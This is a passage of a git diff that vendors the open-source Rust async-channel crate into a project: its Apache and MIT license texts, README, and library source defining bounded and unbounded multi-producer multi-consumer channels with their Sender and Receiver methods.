Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + +2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + +3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + +4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + +5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + +6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + +7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + +8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + +9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + +END OF TERMS AND CONDITIONS + +APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + +Copyright [yyyy] [name of copyright owner] + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. diff --git a/lib/malio/async-channel/LICENSE-MIT b/lib/malio/async-channel/LICENSE-MIT new file mode 100644 index 0000000..31aa793 --- /dev/null +++ b/lib/malio/async-channel/LICENSE-MIT @@ -0,0 +1,23 @@ +Permission is hereby granted, free of charge, to any +person obtaining a copy of this software and associated +documentation files (the "Software"), to deal in the +Software without restriction, including without +limitation the rights to use, copy, modify, merge, +publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software +is furnished to do so, subject to the following +conditions: + +The above copyright notice and this permission notice +shall be included in all copies or substantial portions +of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT +SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR +IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +DEALINGS IN THE SOFTWARE. diff --git a/lib/malio/async-channel/README.md b/lib/malio/async-channel/README.md new file mode 100644 index 0000000..8809b27 --- /dev/null +++ b/lib/malio/async-channel/README.md @@ -0,0 +1,51 @@ +# async-channel + +[![Build](https://github.com/smol-rs/async-channel/actions/workflows/ci.yml/badge.svg)]( +https://github.com/smol-rs/async-channel/actions) +[![License](https://img.shields.io/badge/license-Apache--2.0_OR_MIT-blue.svg)]( +https://github.com/smol-rs/async-channel) +[![Cargo](https://img.shields.io/crates/v/async-channel.svg)]( +https://crates.io/crates/async-channel) +[![Documentation](https://docs.rs/async-channel/badge.svg)]( +https://docs.rs/async-channel) + +An async multi-producer multi-consumer channel, where each message can be received by only +one of all existing consumers. + +There are two kinds of channels: + +1. Bounded channel with limited capacity. +2. Unbounded channel with unlimited capacity. + +A channel has the `Sender` and `Receiver` side. Both sides are cloneable and can be shared +among multiple threads. + +When all `Sender`s or all `Receiver`s are dropped, the channel becomes closed. When a +channel is closed, no more messages can be sent, but remaining messages can still be received. + +The channel can also be closed manually by calling `Sender::close()` or +`Receiver::close()`. + +## Examples + +```rust +let (s, r) = async_channel::unbounded(); + +assert_eq!(s.send("Hello").await, Ok(())); +assert_eq!(r.recv().await, Ok("Hello")); +``` + +## License + +Licensed under either of + + * Apache License, Version 2.0 ([LICENSE-APACHE](LICENSE-APACHE) or http://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](LICENSE-MIT) or http://opensource.org/licenses/MIT) + +at your option. + +#### Contribution + +Unless you explicitly state otherwise, any contribution intentionally submitted +for inclusion in the work by you, as defined in the Apache-2.0 license, shall be +dual licensed as above, without any additional terms or conditions. diff --git a/lib/malio/async-channel/src/lib.rs b/lib/malio/async-channel/src/lib.rs new file mode 100644 index 0000000..61e0b53 --- /dev/null +++ b/lib/malio/async-channel/src/lib.rs @@ -0,0 +1,1388 @@ +//! An async multi-producer multi-consumer channel, where each message can be received by only +//! one of all existing consumers. +//! +//! There are two kinds of channels: +//! +//! 1. [Bounded][`bounded()`] channel with limited capacity. +//! 2. [Unbounded][`unbounded()`] channel with unlimited capacity. +//! +//! A channel has the [`Sender`] and [`Receiver`] side. Both sides are cloneable and can be shared +//! among multiple threads. +//! +//! When all [`Sender`]s or all [`Receiver`]s are dropped, the channel becomes closed. When a +//! channel is closed, no more messages can be sent, but remaining messages can still be received. +//! +//! The channel can also be closed manually by calling [`Sender::close()`] or +//! [`Receiver::close()`]. +//! +//! # Examples +//! +//! ``` +//! # futures_lite::future::block_on(async { +//! let (s, r) = async_channel::unbounded(); +//! +//! assert_eq!(s.send("Hello").await, Ok(())); +//! assert_eq!(r.recv().await, Ok("Hello")); +//! # }); +//! ``` + +#![cfg_attr(not(feature = "std"), no_std)] +#![forbid(unsafe_code)] +#![warn(missing_docs, missing_debug_implementations, rust_2018_idioms)] +#![doc( + html_favicon_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] +#![doc( + html_logo_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] + +#[cfg(not(feature = "portable-atomic"))] +extern crate alloc; + +use core::fmt; +use core::future::Future; +use core::marker::PhantomPinned; +use core::pin::Pin; +use core::task::{Context, Poll}; + +#[cfg(not(feature = "portable-atomic"))] +use alloc::sync::Arc; +#[cfg(not(feature = "portable-atomic"))] +use core::sync::atomic::{AtomicUsize, Ordering}; + +#[cfg(feature = "portable-atomic")] +use portable_atomic::{AtomicUsize, Ordering}; +#[cfg(feature = "portable-atomic")] +use portable_atomic_util::Arc; + +use concurrent_queue::{ConcurrentQueue, ForcePushError, PopError, PushError}; +use event_listener_strategy::{ + easy_wrapper, + event_listener::{Event, EventListener}, + EventListenerFuture, Strategy, +}; +use futures_core::ready; +use futures_core::stream::Stream; +use pin_project_lite::pin_project; + +struct Channel { + /// Inner message queue. + queue: ConcurrentQueue, + + /// Send operations waiting while the channel is full. + send_ops: Event, + + /// Receive operations waiting while the channel is empty and not closed. + recv_ops: Event, + + /// Stream operations while the channel is empty and not closed. + stream_ops: Event, + + /// Closed operations while the channel is not closed. + closed_ops: Event, + + /// The number of currently active `Sender`s. + sender_count: AtomicUsize, + + /// The number of currently active `Receivers`s. + receiver_count: AtomicUsize, +} + +impl Channel { + /// Closes the channel and notifies all blocked operations. + /// + /// Returns `true` if this call has closed the channel and it was not closed already. + fn close(&self) -> bool { + if self.queue.close() { + // Notify all send operations. + self.send_ops.notify(usize::MAX); + + // Notify all receive and stream operations. + self.recv_ops.notify(usize::MAX); + self.stream_ops.notify(usize::MAX); + self.closed_ops.notify(usize::MAX); + + true + } else { + false + } + } +} + +/// Creates a bounded channel. +/// +/// The created channel has space to hold at most `cap` messages at a time. +/// +/// # Panics +/// +/// Capacity must be a positive number. If `cap` is zero, this function will panic. +/// +/// # Examples +/// +/// ``` +/// # futures_lite::future::block_on(async { +/// use async_channel::{bounded, TryRecvError, TrySendError}; +/// +/// let (s, r) = bounded(1); +/// +/// assert_eq!(s.send(10).await, Ok(())); +/// assert_eq!(s.try_send(20), Err(TrySendError::Full(20))); +/// +/// assert_eq!(r.recv().await, Ok(10)); +/// assert_eq!(r.try_recv(), Err(TryRecvError::Empty)); +/// # }); +/// ``` +pub fn bounded(cap: usize) -> (Sender, Receiver) { + assert!(cap > 0, "capacity cannot be zero"); + + let channel = Arc::new(Channel { + queue: ConcurrentQueue::bounded(cap), + send_ops: Event::new(), + recv_ops: Event::new(), + stream_ops: Event::new(), + closed_ops: Event::new(), + sender_count: AtomicUsize::new(1), + receiver_count: AtomicUsize::new(1), + }); + + let s = Sender { + channel: channel.clone(), + }; + let r = Receiver { + listener: None, + channel, + _pin: PhantomPinned, + }; + (s, r) +} + +/// Creates an unbounded channel. +/// +/// The created channel can hold an unlimited number of messages. +/// +/// # Examples +/// +/// ``` +/// # futures_lite::future::block_on(async { +/// use async_channel::{unbounded, TryRecvError}; +/// +/// let (s, r) = unbounded(); +/// +/// assert_eq!(s.send(10).await, Ok(())); +/// assert_eq!(s.send(20).await, Ok(())); +/// +/// assert_eq!(r.recv().await, Ok(10)); +/// assert_eq!(r.recv().await, Ok(20)); +/// assert_eq!(r.try_recv(), Err(TryRecvError::Empty)); +/// # }); +/// ``` +pub fn unbounded() -> (Sender, Receiver) { + let channel = Arc::new(Channel { + queue: ConcurrentQueue::unbounded(), + send_ops: Event::new(), + recv_ops: Event::new(), + stream_ops: Event::new(), + closed_ops: Event::new(), + sender_count: AtomicUsize::new(1), + receiver_count: AtomicUsize::new(1), + }); + + let s = Sender { + channel: channel.clone(), + }; + let r = Receiver { + listener: None, + channel, + _pin: PhantomPinned, + }; + (s, r) +} + +/// The sending side of a channel. +/// +/// Senders can be cloned and shared among threads. When all senders associated with a channel are +/// dropped, the channel becomes closed. +/// +/// The channel can also be closed manually by calling [`Sender::close()`]. +pub struct Sender { + /// Inner channel state. + channel: Arc>, +} + +impl Sender { + /// Attempts to send a message into the channel. + /// + /// If the channel is full or closed, this method returns an error. + /// + /// # Examples + /// + /// ``` + /// use async_channel::{bounded, TrySendError}; + /// + /// let (s, r) = bounded(1); + /// + /// assert_eq!(s.try_send(1), Ok(())); + /// assert_eq!(s.try_send(2), Err(TrySendError::Full(2))); + /// + /// drop(r); + /// assert_eq!(s.try_send(3), Err(TrySendError::Closed(3))); + /// ``` + pub fn try_send(&self, msg: T) -> Result<(), TrySendError> { + match self.channel.queue.push(msg) { + Ok(()) => { + // Notify a blocked receive operation. If the notified operation gets canceled, + // it will notify another blocked receive operation. + self.channel.recv_ops.notify_additional(1); + + // Notify all blocked streams. + self.channel.stream_ops.notify(usize::MAX); + + Ok(()) + } + Err(PushError::Full(msg)) => Err(TrySendError::Full(msg)), + Err(PushError::Closed(msg)) => Err(TrySendError::Closed(msg)), + } + } + + /// Sends a message into the channel. + /// + /// If the channel is full, this method waits until there is space for a message. + /// + /// If the channel is closed, this method returns an error. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::{unbounded, SendError}; + /// + /// let (s, r) = unbounded(); + /// + /// assert_eq!(s.send(1).await, Ok(())); + /// drop(r); + /// assert_eq!(s.send(2).await, Err(SendError(2))); + /// # }); + /// ``` + pub fn send(&self, msg: T) -> Send<'_, T> { + Send::_new(SendInner { + sender: self, + msg: Some(msg), + listener: None, + _pin: PhantomPinned, + }) + } + + /// Completes when all receivers have dropped. + /// + /// This allows the producers to get notified when interest in the produced values is canceled and immediately stop doing work. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::{unbounded, SendError}; + /// + /// let (s, r) = unbounded::(); + /// drop(r); + /// s.closed().await; + /// # }); + /// ``` + pub fn closed(&self) -> Closed<'_, T> { + Closed::_new(ClosedInner { + sender: self, + listener: None, + _pin: PhantomPinned, + }) + } + + /// Sends a message into this channel using the blocking strategy. + /// + /// If the channel is full, this method will block until there is room. + /// If the channel is closed, this method returns an error. + /// + /// # Blocking + /// + /// Rather than using asynchronous waiting, like the [`send`](Self::send) method, + /// this method will block the current thread until the message is sent. + /// + /// This method should not be used in an asynchronous context. It is intended + /// to be used such that a channel can be used in both asynchronous and synchronous contexts. + /// Calling this method in an asynchronous context may result in deadlocks. + /// + /// # Examples + /// + /// ``` + /// use async_channel::{unbounded, SendError}; + /// + /// let (s, r) = unbounded(); + /// + /// assert_eq!(s.send_blocking(1), Ok(())); + /// drop(r); + /// assert_eq!(s.send_blocking(2), Err(SendError(2))); + /// ``` + #[cfg(all(feature = "std", not(target_family = "wasm")))] + pub fn send_blocking(&self, msg: T) -> Result<(), SendError> { + self.send(msg).wait() + } + + /// Forcefully push a message into this channel. + /// + /// If the channel is full, this method will replace an existing message in the + /// channel and return it as `Ok(Some(value))`. If the channel is closed, this + /// method will return an error. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::{bounded, SendError}; + /// + /// let (s, r) = bounded(3); + /// + /// assert_eq!(s.send(1).await, Ok(())); + /// assert_eq!(s.send(2).await, Ok(())); + /// assert_eq!(s.force_send(3), Ok(None)); + /// assert_eq!(s.force_send(4), Ok(Some(1))); + /// + /// assert_eq!(r.recv().await, Ok(2)); + /// assert_eq!(r.recv().await, Ok(3)); + /// assert_eq!(r.recv().await, Ok(4)); + /// # }); + /// ``` + pub fn force_send(&self, msg: T) -> Result, SendError> { + match self.channel.queue.force_push(msg) { + Ok(backlog) => { + // Notify a blocked receive operation. If the notified operation gets canceled, + // it will notify another blocked receive operation. + self.channel.recv_ops.notify_additional(1); + + // Notify all blocked streams. + self.channel.stream_ops.notify(usize::MAX); + + Ok(backlog) + } + + Err(ForcePushError(reject)) => Err(SendError(reject)), + } + } + + /// Closes the channel. + /// + /// Returns `true` if this call has closed the channel and it was not closed already. + /// + /// The remaining messages can still be received. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::{unbounded, RecvError}; + /// + /// let (s, r) = unbounded(); + /// assert_eq!(s.send(1).await, Ok(())); + /// assert!(s.close()); + /// + /// assert_eq!(r.recv().await, Ok(1)); + /// assert_eq!(r.recv().await, Err(RecvError)); + /// # }); + /// ``` + pub fn close(&self) -> bool { + self.channel.close() + } + + /// Returns `true` if the channel is closed. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::{unbounded, RecvError}; + /// + /// let (s, r) = unbounded::<()>(); + /// assert!(!s.is_closed()); + /// + /// drop(r); + /// assert!(s.is_closed()); + /// # }); + /// ``` + pub fn is_closed(&self) -> bool { + self.channel.queue.is_closed() + } + + /// Returns `true` if the channel is empty. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::unbounded; + /// + /// let (s, r) = unbounded(); + /// + /// assert!(s.is_empty()); + /// s.send(1).await; + /// assert!(!s.is_empty()); + /// # }); + /// ``` + pub fn is_empty(&self) -> bool { + self.channel.queue.is_empty() + } + + /// Returns `true` if the channel is full. + /// + /// Unbounded channels are never full. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::bounded; + /// + /// let (s, r) = bounded(1); + /// + /// assert!(!s.is_full()); + /// s.send(1).await; + /// assert!(s.is_full()); + /// # }); + /// ``` + pub fn is_full(&self) -> bool { + self.channel.queue.is_full() + } + + /// Returns the number of messages in the channel. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::unbounded; + /// + /// let (s, r) = unbounded(); + /// assert_eq!(s.len(), 0); + /// + /// s.send(1).await; + /// s.send(2).await; + /// assert_eq!(s.len(), 2); + /// # }); + /// ``` + pub fn len(&self) -> usize { + self.channel.queue.len() + } + + /// Returns the channel capacity if it's bounded. + /// + /// # Examples + /// + /// ``` + /// use async_channel::{bounded, unbounded}; + /// + /// let (s, r) = bounded::(5); + /// assert_eq!(s.capacity(), Some(5)); + /// + /// let (s, r) = unbounded::(); + /// assert_eq!(s.capacity(), None); + /// ``` + pub fn capacity(&self) -> Option { + self.channel.queue.capacity() + } + + /// Returns the number of receivers for the channel. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::unbounded; + /// + /// let (s, r) = unbounded::<()>(); + /// assert_eq!(s.receiver_count(), 1); + /// + /// let r2 = r.clone(); + /// assert_eq!(s.receiver_count(), 2); + /// # }); + /// ``` + pub fn receiver_count(&self) -> usize { + self.channel.receiver_count.load(Ordering::SeqCst) + } + + /// Returns the number of senders for the channel. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::unbounded; + /// + /// let (s, r) = unbounded::<()>(); + /// assert_eq!(s.sender_count(), 1); + /// + /// let s2 = s.clone(); + /// assert_eq!(s.sender_count(), 2); + /// # }); + /// ``` + pub fn sender_count(&self) -> usize { + self.channel.sender_count.load(Ordering::SeqCst) + } + + /// Downgrade the sender to a weak reference. + pub fn downgrade(&self) -> WeakSender { + WeakSender { + channel: self.channel.clone(), + } + } + + /// Returns whether the senders belong to the same channel. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::unbounded; + /// + /// let (s, r) = unbounded::<()>(); + /// let s2 = s.clone(); + /// + /// assert!(s.same_channel(&s2)); + /// # }); + /// ``` + pub fn same_channel(&self, other: &Sender) -> bool { + Arc::ptr_eq(&self.channel, &other.channel) + } +} + +impl Drop for Sender { + fn drop(&mut self) { + // Decrement the sender count and close the channel if it drops down to zero. + if self.channel.sender_count.fetch_sub(1, Ordering::AcqRel) == 1 { + self.channel.close(); + } + } +} + +impl fmt::Debug for Sender { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "Sender {{ .. }}") + } +} + +impl Clone for Sender { + fn clone(&self) -> Sender { + let count = self.channel.sender_count.fetch_add(1, Ordering::Relaxed); + + // Make sure the count never overflows, even if lots of sender clones are leaked. + if count > usize::MAX / 2 { + abort(); + } + + Sender { + channel: self.channel.clone(), + } + } +} + +pin_project! { + /// The receiving side of a channel. + /// + /// Receivers can be cloned and shared among threads. When all receivers associated with a channel + /// are dropped, the channel becomes closed. + /// + /// The channel can also be closed manually by calling [`Receiver::close()`]. + /// + /// Receivers implement the [`Stream`] trait. + pub struct Receiver { + // Inner channel state. + channel: Arc>, + + // Listens for a send or close event to unblock this stream. + listener: Option, + + // Keeping this type `!Unpin` enables future optimizations. + #[pin] + _pin: PhantomPinned + } + + impl PinnedDrop for Receiver { + fn drop(this: Pin<&mut Self>) { + let this = this.project(); + + // Decrement the receiver count and close the channel if it drops down to zero. + if this.channel.receiver_count.fetch_sub(1, Ordering::AcqRel) == 1 { + this.channel.close(); + } + } + } +} + +impl Receiver { + /// Attempts to receive a message from the channel. + /// + /// If the channel is empty, or empty and closed, this method returns an error. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::{unbounded, TryRecvError}; + /// + /// let (s, r) = unbounded(); + /// assert_eq!(s.send(1).await, Ok(())); + /// + /// assert_eq!(r.try_recv(), Ok(1)); + /// assert_eq!(r.try_recv(), Err(TryRecvError::Empty)); + /// + /// drop(s); + /// assert_eq!(r.try_recv(), Err(TryRecvError::Closed)); + /// # }); + /// ``` + pub fn try_recv(&self) -> Result { + match self.channel.queue.pop() { + Ok(msg) => { + // Notify a blocked send operation. If the notified operation gets canceled, it + // will notify another blocked send operation. + self.channel.send_ops.notify_additional(1); + + Ok(msg) + } + Err(PopError::Empty) => Err(TryRecvError::Empty), + Err(PopError::Closed) => Err(TryRecvError::Closed), + } + } + + /// Receives a message from the channel. + /// + /// If the channel is empty, this method waits until there is a message. + /// + /// If the channel is closed, this method receives a message or returns an error if there are + /// no more messages. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::{unbounded, RecvError}; + /// + /// let (s, r) = unbounded(); + /// + /// assert_eq!(s.send(1).await, Ok(())); + /// drop(s); + /// + /// assert_eq!(r.recv().await, Ok(1)); + /// assert_eq!(r.recv().await, Err(RecvError)); + /// # }); + /// ``` + pub fn recv(&self) -> Recv<'_, T> { + Recv::_new(RecvInner { + receiver: self, + listener: None, + _pin: PhantomPinned, + }) + } + + /// Receives a message from the channel using the blocking strategy. + /// + /// If the channel is empty, this method waits until there is a message. + /// If the channel is closed, this method receives a message or returns an error if there are + /// no more messages. + /// + /// # Blocking + /// + /// Rather than using asynchronous waiting, like the [`recv`](Self::recv) method, + /// this method will block the current thread until the message is received. + /// + /// This method should not be used in an asynchronous context. It is intended + /// to be used such that a channel can be used in both asynchronous and synchronous contexts. + /// Calling this method in an asynchronous context may result in deadlocks. + /// + /// # Examples + /// + /// ``` + /// use async_channel::{unbounded, RecvError}; + /// + /// let (s, r) = unbounded(); + /// + /// assert_eq!(s.send_blocking(1), Ok(())); + /// drop(s); + /// + /// assert_eq!(r.recv_blocking(), Ok(1)); + /// assert_eq!(r.recv_blocking(), Err(RecvError)); + /// ``` + #[cfg(all(feature = "std", not(target_family = "wasm")))] + pub fn recv_blocking(&self) -> Result { + self.recv().wait() + } + + /// Closes the channel. + /// + /// Returns `true` if this call has closed the channel and it was not closed already. + /// + /// The remaining messages can still be received. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::{unbounded, RecvError}; + /// + /// let (s, r) = unbounded(); + /// assert_eq!(s.send(1).await, Ok(())); + /// + /// assert!(r.close()); + /// assert_eq!(r.recv().await, Ok(1)); + /// assert_eq!(r.recv().await, Err(RecvError)); + /// # }); + /// ``` + pub fn close(&self) -> bool { + self.channel.close() + } + + /// Returns `true` if the channel is closed. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::{unbounded, RecvError}; + /// + /// let (s, r) = unbounded::<()>(); + /// assert!(!r.is_closed()); + /// + /// drop(s); + /// assert!(r.is_closed()); + /// # }); + /// ``` + pub fn is_closed(&self) -> bool { + self.channel.queue.is_closed() + } + + /// Returns `true` if the channel is empty. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::unbounded; + /// + /// let (s, r) = unbounded(); + /// + /// assert!(s.is_empty()); + /// s.send(1).await; + /// assert!(!s.is_empty()); + /// # }); + /// ``` + pub fn is_empty(&self) -> bool { + self.channel.queue.is_empty() + } + + /// Returns `true` if the channel is full. + /// + /// Unbounded channels are never full. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::bounded; + /// + /// let (s, r) = bounded(1); + /// + /// assert!(!r.is_full()); + /// s.send(1).await; + /// assert!(r.is_full()); + /// # }); + /// ``` + pub fn is_full(&self) -> bool { + self.channel.queue.is_full() + } + + /// Returns the number of messages in the channel. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::unbounded; + /// + /// let (s, r) = unbounded(); + /// assert_eq!(r.len(), 0); + /// + /// s.send(1).await; + /// s.send(2).await; + /// assert_eq!(r.len(), 2); + /// # }); + /// ``` + pub fn len(&self) -> usize { + self.channel.queue.len() + } + + /// Returns the channel capacity if it's bounded. + /// + /// # Examples + /// + /// ``` + /// use async_channel::{bounded, unbounded}; + /// + /// let (s, r) = bounded::(5); + /// assert_eq!(r.capacity(), Some(5)); + /// + /// let (s, r) = unbounded::(); + /// assert_eq!(r.capacity(), None); + /// ``` + pub fn capacity(&self) -> Option { + self.channel.queue.capacity() + } + + /// Returns the number of receivers for the channel. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::unbounded; + /// + /// let (s, r) = unbounded::<()>(); + /// assert_eq!(r.receiver_count(), 1); + /// + /// let r2 = r.clone(); + /// assert_eq!(r.receiver_count(), 2); + /// # }); + /// ``` + pub fn receiver_count(&self) -> usize { + self.channel.receiver_count.load(Ordering::SeqCst) + } + + /// Returns the number of senders for the channel. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::unbounded; + /// + /// let (s, r) = unbounded::<()>(); + /// assert_eq!(r.sender_count(), 1); + /// + /// let s2 = s.clone(); + /// assert_eq!(r.sender_count(), 2); + /// # }); + /// ``` + pub fn sender_count(&self) -> usize { + self.channel.sender_count.load(Ordering::SeqCst) + } + + /// Downgrade the receiver to a weak reference. + pub fn downgrade(&self) -> WeakReceiver { + WeakReceiver { + channel: self.channel.clone(), + } + } + + /// Returns whether the receivers belong to the same channel. + /// + /// # Examples + /// + /// ``` + /// # futures_lite::future::block_on(async { + /// use async_channel::unbounded; + /// + /// let (s, r) = unbounded::<()>(); + /// let r2 = r.clone(); + /// + /// assert!(r.same_channel(&r2)); + /// # }); + /// ``` + pub fn same_channel(&self, other: &Receiver) -> bool { + Arc::ptr_eq(&self.channel, &other.channel) + } +} + +impl fmt::Debug for Receiver { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "Receiver {{ .. }}") + } +} + +impl Clone for Receiver { + fn clone(&self) -> Receiver { + let count = self.channel.receiver_count.fetch_add(1, Ordering::Relaxed); + + // Make sure the count never overflows, even if lots of receiver clones are leaked. + if count > usize::MAX / 2 { + abort(); + } + + Receiver { + channel: self.channel.clone(), + listener: None, + _pin: PhantomPinned, + } + } +} + +impl Stream for Receiver { + type Item = T; + + fn poll_next(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + loop { + // If this stream is listening for events, first wait for a notification. + { + let this = self.as_mut().project(); + if let Some(listener) = this.listener.as_mut() { + ready!(Pin::new(listener).poll(cx)); + *this.listener = None; + } + } + + loop { + // Attempt to receive a message. + match self.try_recv() { + Ok(msg) => { + // The stream is not blocked on an event - drop the listener. + let this = self.as_mut().project(); + *this.listener = None; + return Poll::Ready(Some(msg)); + } + Err(TryRecvError::Closed) => { + // The stream is not blocked on an event - drop the listener. + let this = self.as_mut().project(); + *this.listener = None; + return Poll::Ready(None); + } + Err(TryRecvError::Empty) => {} + } + + // Receiving failed - now start listening for notifications or wait for one. + let this = self.as_mut().project(); + if this.listener.is_some() { + // Go back to the outer loop to wait for a notification. + break; + } else { + *this.listener = Some(this.channel.stream_ops.listen()); + } + } + } + } +} + +impl futures_core::stream::FusedStream for Receiver { + fn is_terminated(&self) -> bool { + self.channel.queue.is_closed() && self.channel.queue.is_empty() + } +} + +/// A [`Sender`] that does not prevent the channel from being closed. +/// +/// This is created through the [`Sender::downgrade`] method. In order to use it, it needs +/// to be upgraded into a 